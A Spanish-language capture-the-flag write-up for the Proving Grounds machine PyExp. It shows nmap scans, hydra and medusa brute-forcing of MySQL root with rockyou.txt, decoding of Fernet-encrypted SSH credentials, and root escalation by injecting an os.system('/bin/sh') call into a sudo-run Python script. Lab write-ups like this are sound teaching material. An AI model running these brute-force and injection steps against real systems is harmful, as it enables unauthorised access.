> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/pyexp.md).

# PyExp

<figure><img src="/files/SCwmC2ebACoZDBo7uB3H" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP&#x20;

Comenzamos la máquina PyExp realizando un escaneo de los servicios que tiene abietos esta máquina.&#x20;

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.93.118
```

<figure><img src="/files/HqUBSGI5SbafMyVFe9DW" alt=""><figcaption></figcaption></figure>

Dos puertos abiertos, 1337 y 3306. A continuación, seguimos con un escaneo en profundidad de estos dos puertos.&#x20;

```
nmap -p1337,3306 -sVC -Pn -n -vvv 192.168.93.118
```

<figure><img src="/files/yiQDqbIX9yd1XKhQ8oV4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/AC22EM8RrQQrgKZRH5NE" alt=""><figcaption></figcaption></figure>

Existen 2 puertos abiertos en el equipo target.&#x20;

* Puerto 1337 -> SSH -> OpenSSH 7.9
* Puerto 3306 ->  MySQL -> MySQL 5.5.5-10.3.23-MariaDB

Además también vemos información sobre la base de datos que puede ser interesante.&#x20;

### Puerto 3306 (MySQL)

Comenzamos la enumeración del puerto 3306, que es el puerto de MySQL. Vamos a iniciar realizando una fuerza bruta para averiguar la password con dos herramientas: "hydra" y "medusa" y haremos uso de la wordlist "rockyou.txt".

```
hydra -l root -P /home/kali/rockyou.txt 192.168.93.118 mysql
```

<figure><img src="/files/LNBkXzaGTt6Eg6DQvvAh" alt=""><figcaption></figcaption></figure>

```
medusa -h 192.168.93.118 -M mysql -u root -P /home/kali/rockyou.txt -t 40 -f
```

<figure><img src="/files/rJ6g3vTH5lT33frehCoM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yeEBMxwPic8C0VD7k18s" alt=""><figcaption></figcaption></figure>

Ya tenemos las credenciales para acceder a la base de datos MySQL. "root:prettywoman".

Vamos a iniciar sesión en MySQL con las credenciales que encontramos anteriormente.&#x20;

```
mysql -u root -h 192.168.93.118 -p
```

<figure><img src="/files/VhEFVPRLLjvNwyEhj1X1" alt=""><figcaption></figcaption></figure>

Continuamos enumerando las bases de datos disponibles.&#x20;

```
 show databases;
```

<figure><img src="/files/d16JWvoELkUBMDcjvm3S" alt=""><figcaption></figcaption></figure>

Seleccionamos la base de datos "data".

```
USE data;
```

Dentro de la basede datos "data", encontramos una tabla llamada "fernet". Vamos a realizar un volcado de los datos de esta tabla.&#x20;

```
select * from fernet;
```

<figure><img src="/files/AzbajRD1SsHM3M8Olnp7" alt=""><figcaption></figcaption></figure>

Parecen las credenciales para algún tipo de cuenta en el equipo. Vamos a intentar descifrarlos con algunos de los algoritmos más comunes. Utilizaremos [CyberChef](https://gchq.github.io/CyberChef/). Pero no logramos descifrar ningún hash.&#x20;

El nombre de la tabla parece extraño, ¿qués es fernet?. Vamos a consultarlo.&#x20;

Fernet es una implementación de criptografía simétrica, en la que que un mensaje cifrado con ella no puede ser leido sin una clave.&#x20;

Vamos a intentar descifrar el contenido con esta [herramienta](https://asecuritysite.com/tokens/ferdecode).&#x20;

<figure><img src="/files/FtVayMmjpZmFUq5NbxqZ" alt=""><figcaption><p>lucy:wJ9`"Lemdv9[FEw-</p></figcaption></figure>

### Explotación

Anteriormente obtuvimos unas credenciales. Recordamos que en el escaneo de puertos inicial existía un puerto SSH. ¿Pueden las credenciales para este servicio? Vamos a comprobarlo.&#x20;

```
ssh lucy@192.168.93.118 -p 1337
```

<figure><img src="/files/nkrEmpKA6OscTmSuVrMw" alt=""><figcaption></figcaption></figure>

Podemos iniciar sesión en el servicio SSH con las credenciales anteriormente encontradas.&#x20;

Buscamos la flag local.txt

<figure><img src="/files/1ajIiM9SQrAxO8xskTIJ" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios

Comenzamos enumerando los programos que podemos ejecutar como root sin contraseña.&#x20;

```
sudo -l 
```

<figure><img src="/files/sbCBQJ7w58zekL10JmHC" alt=""><figcaption></figcaption></figure>

Vamos a ver el contenido del archivo "opt/exp.py".

<figure><img src="/files/yTsMQLiIt15eejTSsMAf" alt=""><figcaption></figcaption></figure>

Este script os hace una pregunta al solicitar una entrada. Si podemos escapar de la shell mientras este script está en funcionamiento, deberiamos obtener privilegios elevados.

Ejecutamos el siguiente comando para lanzar el ejecutable:&#x20;

```
sudo /usr/bin/python2 /opt/exp.py
```

Y este otro para escapar de la shell y obtener privilegios elevados.&#x20;

<pre><code><strong>import os; os.system("/bin/sh")
</strong></code></pre>

<figure><img src="/files/m938PywFDTM4WJcTfZ1C" alt=""><figcaption></figcaption></figure>

Vamos a por la flag proof.txt para acabar este CTF.&#x20;

<figure><img src="/files/ce93sfEaISJbmUSk9MuW" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=rCWUtcbvl5I>" %}
